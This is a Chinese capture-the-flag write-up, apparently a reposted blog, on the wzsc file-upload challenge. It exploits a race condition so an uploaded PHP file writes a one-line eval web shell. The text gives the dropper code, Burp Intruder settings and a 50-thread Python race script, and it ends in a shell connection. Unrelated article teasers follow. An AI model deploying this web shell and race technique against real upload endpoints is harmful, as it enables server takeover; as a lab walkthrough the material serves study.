114,【6】攻防世界 web wzsc_文件上传

进入靶场

传个桌面有的

直接空白了

我们

访问一下上传的东西

/index

没显示用于解析的.htaccess和.user.ini 文件,还两个都不显示

.htaccess 和 .user.ini 文件分别用于 Apache 服务器和 PHP-FPM 环境的目录级配置

但上传的时候bp查看状态码是200,意味着上传成功了

别的博主说这是服务器在短时间内就立刻将其删掉了,需要采取条件竞争,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。大量的线程用于访问缓存数据,能够快速地从缓存中获取数据

这需要bp来实现(我勒个豆,bp这么高级)

文件名

1.php

文件内容

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

  • 此 PHP 代码的作用是创建一个名为 shell.php 的文件。
  • 并将 <?php @eval($_POST["shell"]); ?> 写入该文件。@eval($_POST["shell"]); 这部分代码会执行通过 POST 请求传递给 shell.php 的任意 PHP 代码

 上传时抓包发到intruder 

点击右边的资源池

右键名称处会自动填写,再设置最大请求数

还需要将攻击荷载设置为空

但是我这块设置不了,为空的时候,右边的payload那块就是空的,类型和无限重复就设置不了 

所以勾选了一个影响不大的东西,这里勾选的东西需要确保置换为空时不产生影响的

上一步实现后,运用大佬的脚本创造shell.php

import requests
import threading
import os

# 定义一个继承自 threading.Thread 的类 RaceCondition,用于模拟竞争条件下的文件上传和访问操作
class RaceCondition(threading.Thread):
    def __init__(self):
        # 调用父类 threading.Thread 的构造函数进行初始化
        threading.Thread.__init__(self)

        # 定义要访问的 URL,这里省略了具体的 URL,实际使用时需要补充完整
        self.url = '。。。。。。。。。。。。。。'
        # 定义上传文件的 URL,这里是上传到 shell.php 的地址
        self.uploadUrl = '。。。。。。。。。。upload/shell.php'

    # 定义一个私有方法 _get,用于尝试访问已上传的文件
    def _get(self):
        # 打印提示信息,表示正在尝试调用已上传的文件
        print('try to call uploaded file...')
        # 使用 requests 库发送 GET 请求到指定的 URL
        r = requests.get(self.url)
        # 检查响应的状态码是否为 200(表示请求成功)
        if r.status_code == 200:
            # 如果请求成功,打印成功信息
            print('[*] create file shell.php success.')
            # 退出整个 Python 程序
            os._exit(0)

    # 定义一个私有方法 _upload,用于上传文件
    def _upload(self):
        # 打印提示信息,表示正在上传文件
        print('upload file...')
        # 使用 requests 库发送 GET 请求到上传文件的 URL
        rs = requests.get(self.uploadUrl)
        # 检查响应的状态码是否为 200(表示请求成功)
        if rs.status_code == 200:
            # 如果请求成功,打印成功信息
            print('[*] create file shell.php success.')
            # 退出整个 Python 程序
            os._exit(0)

    # 定义线程的运行方法,当线程启动时会自动调用该方法
    def run(self):
        while True:
            # 循环 5 次,调用 _get 方法尝试访问已上传的文件
            for i in range(5):
                self._get()

            # 循环 10 次,每次先调用 _upload 方法上传文件,然后再调用 _get 方法尝试访问已上传的文件
            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    # 定义要创建的线程数量为 50
    threads = 50

    # 循环创建指定数量的线程实例,并启动这些线程
    for i in range(threads):
        # 创建一个 RaceCondition 类的实例
        t = RaceCondition()
        # 启动线程
        t.start()

    # 循环等待所有线程执行完毕
    for i in range(threads):
        # 调用线程的 join 方法,等待线程执行结束
        t.join()

 最后访问upload发现上传成功时,用蚂剑连接即可,密码就是shell

 终于做出来了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/966564.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Open3d Qt的环境配置

Open3d Qt的环境配置 一、概述二、操作流程2.1 下载文件2.2 新建文件夹2.3 环境变量设置2.4 qt6 引用3、qt中调用4、资源下载一、概述 目前统一使用qt6配置,open3d中可视化功能目前使用vtk代替,语言为c++。 二、操作流程 2.1 下载文件 访问open3d github链接,进入releas…

零基础都可以本地部署Deepseek R1

文章目录 一、硬件配置需求二、详细部署步骤1. 安装 Ollama 工具2. 部署 DeepSeek-R1 模型3. API使用4. 配置图形化交互界面&#xff08;可选&#xff09;5. 使用与注意事项 一、硬件配置需求 不同版本的 DeepSeek-R1 模型参数量不同&#xff0c;对硬件资源的要求也不尽相同。…

Rocky Linux9安装Zabbix7.0(精简版)

Linux 系统版本 Rocky Linux release 9.3 (Blue Onyx) 注意&#xff1a;zabbix 7以上版本不支持CentOS 7系统&#xff0c;需要CentOS 8以上&#xff0c; 本教程支持CentOS9及Rocky Linux 9 在Rocky Linux release 9.3测试通过 Linux环境准备 关闭防火墙和selinux #关闭防…

Qt程序发布

关注后回复 qt 获取相关资料 找到Qt安装目录中的 windeployqt.exe 将其路径添加到Path环境变量中可能会涉及到多平台架构的版本&#xff0c;选择一个目标版本将Release版中的 ***.exe 复制到某空文件夹cmd 进入上述文件夹中执行 windeployqt.exe ***.exe此时会将该 ***.exe 文件…

从O(k*n)到O(1):如何用哈希表终结多层if判断的性能困局

【前言】   本文将以哈希表重构实战为核心&#xff0c;完整展示如何将传统条件匹配逻辑(上千层if-else判断)转化为O(1)的哈希表高效实现。通过指纹验证场景的代码级解剖&#xff0c;您将深入理解&#xff1a;   1.哈希函数设计如何规避冲突陷阱   2.链式寻址法的工程实现…

后端java工程师经验之谈,工作7年,mysql使用心得

mysql 工作7年&#xff0c;mysql使用心得 mysql1.创建变量2.创建存储过程2.1&#xff1a;WHILE循环2.2&#xff1a;repeat循环2.3&#xff1a;loop循环2.4&#xff1a;存储过程&#xff0c;游标2.5&#xff1a;存储过程&#xff0c;有输入参数和输出参数 3.三种注释写法4.case …

【WB 深度学习实验管理】利用 Hugging Face 实现高效的自然语言处理实验跟踪与可视化

本文使用到的 Jupyter Notebook 可在GitHub仓库002文件夹找到&#xff0c;别忘了给仓库点个小心心~~~ https://github.com/LFF8888/FF-Studio-Resources 在自然语言处理领域&#xff0c;使用Hugging Face的Transformers库进行模型训练已经成为主流。然而&#xff0c;随着模型复…

智能理解 PPT 内容,快速生成讲解视频

当我们想根据一版 PPT 制作出相对应的解锁视频时&#xff0c;从撰写解锁词&#xff0c;录制音频到剪辑视频&#xff0c;每一个环节都需要投入大量的时间和精力&#xff0c;本方案将依托于阿里云函数计算 FC 和百炼模型服务&#xff0c;实现从 PPT 到视频的全自动转换&#xff0…

如何使用Gemini模型,国内如何订阅购买Gemini Pro的教程,Gemini Pro 免费试用操作步骤, 谷歌 aistudio 使用入口

最近的榜首又被Gemini给霸占了&#xff0c;很多童鞋想要体验一翻 Gemini免费库模型更新了 Gemini2.0向所有人开放了&#xff01;使用了真香 目前呢2.0flash和Gemini-2.0-Flash-Thinking-Exp、Gemini-2.0-Flash-Thinking-Exp-with-apps已经免费给所有注册用户开放了&#xff0c…

【学术投稿】第五届计算机网络安全与软件工程(CNSSE 2025)

重要信息 官网&#xff1a;www.cnsse.org 时间&#xff1a;2025年2月21-23日 地点&#xff1a;中国-青岛 简介 第五届计算机网络安全与软件工程&#xff08;CNSSE 2025&#xff09;将于2025年2月21-23日在中国-青岛举行。CNSSE 2025专注于计算机网络安全、软件工程、信号处…

Python----Python高级(网络编程:网络基础:发展历程,IP地址,MAC地址,域名,端口,子网掩码,网关,URL,DHCP,交换机)

一、网络 早期的计算机程序都是在本机上运行的&#xff0c;数据存储和处理都在同一台机器上完成。随着技术的发展&#xff0c;人 们开始有了让计算机之间相互通信的需求。例如安装在个人计算机上的计算器或记事本应用&#xff0c;其运行环 境仅限于个人计算机内部。这种设置虽然…

即梦(Dreamina)技术浅析(六):多模态生成模型

多模态生成模型是即梦(Dreamina)的核心技术之一,旨在结合文本和图像信息,生成更符合用户需求的视觉内容。多模态生成模型通过整合不同类型的数据(如文本和图像),能够实现更丰富、更精准的生成效果。 1. 基本原理 1.1 多模态生成模型概述 多模态生成模型的目标是结合不…

全程Kali linux---CTFshow misc入门(38-50)

第三十八题&#xff1a; ctfshow{48b722b570c603ef58cc0b83bbf7680d} 第三十九题&#xff1a; 37换成1&#xff0c;36换成0&#xff0c;就得到长度为287的二进制字符串&#xff0c;因为不能被8整除所以&#xff0c;考虑每7位转换一个字符&#xff0c;得到flag。 ctfshow{5281…

学习数据结构(6)单链表OJ上

1.移除链表元素 解法一&#xff1a;&#xff08;我的做法&#xff09;在遍历的同时移除&#xff0c;代码写法比较复杂 解法二&#xff1a;创建新的链表&#xff0c;遍历原链表&#xff0c;将非val的节点尾插到新链表&#xff0c;注意&#xff0c;如果原链表结尾是val节点需要将…

x64、aarch64、arm与RISC-V64:详解四种处理器架构

x64、aarch64、arm与RISC-V64:详解四种处理器架构 x64架构aarch64架构ARM架构RISC-V64架构总结与展望在计算机科学领域,处理器架构是构建计算机系统的基石,它决定了计算机如何执行指令、管理内存和处理数据。x64、aarch64、arm与RISC-V64是当前主流的四种处理器架构,它们在…

LVSNAT服务搭建

LVSNAT实验环境搭建 在虚拟机上&#xff0c;我的NAT模式ip划分为&#xff1a;172.25.254.0 仅主机模式IP为&#xff1a;192.168.0.0 拓补图如下 配置服务&#xff1a;LVS服务端添加两个网卡&#xff0c;分别为NAT模式和仅主机模式 LVS服务端配置&#xff1a; systemctl st…

【实用技能】如何借助3D文档控件Aspose.3D, 在Java中无缝制作 3D 球体

概述 创建 3D 球体是 3D 图形设计的一个基本方面。无论您是在开发游戏、模拟还是可视化&#xff0c;无缝创建 3D 球体模型的能力都至关重要。Aspose.3D通过提供强大的 3D 图形 SDK 在各个行业中发挥着重要作用。它允许开发人员轻松创建、操作和转换 3D 模型。此 SDK 对于希望将…

两台1200之间的S7通信

1.组态两个PLC&#xff0c;分别开启时钟&#xff0c;勾选允许远方的PUT/GET通信 2.网络视图把两台PLC连接起来 3.在第一台PLC中建立DB1&#xff0c;建立一个位&#xff0c;作为发送&#xff0c;调用PUT指令 点开始组态&#xff0c;进行连接 ADDR收 SD发 一条指令即可 4.在第…

Android studio怎么创建assets目录

在Android Studio中创建assets文件夹是一个简单的步骤&#xff0c;通常用于存储不需要编译的资源文件&#xff0c;如文本文件、图片、音频等 main文件夹&#xff0c;邮件new->folder-assets folder

数据结构 day01

大纲 1.数据结构 2.算法 3.线性表 顺序表&#xff1a;数组 链表&#xff1a;单向链表&#xff0c;单向循环链表&#xff0c;双向链表&#xff0c;双向循环链表 栈&#xff1a;顺序栈&#xff0c;链式栈 队列&#xff1a;顺序队列&#xff0c;链式队列 4.树&#xff1a;特性…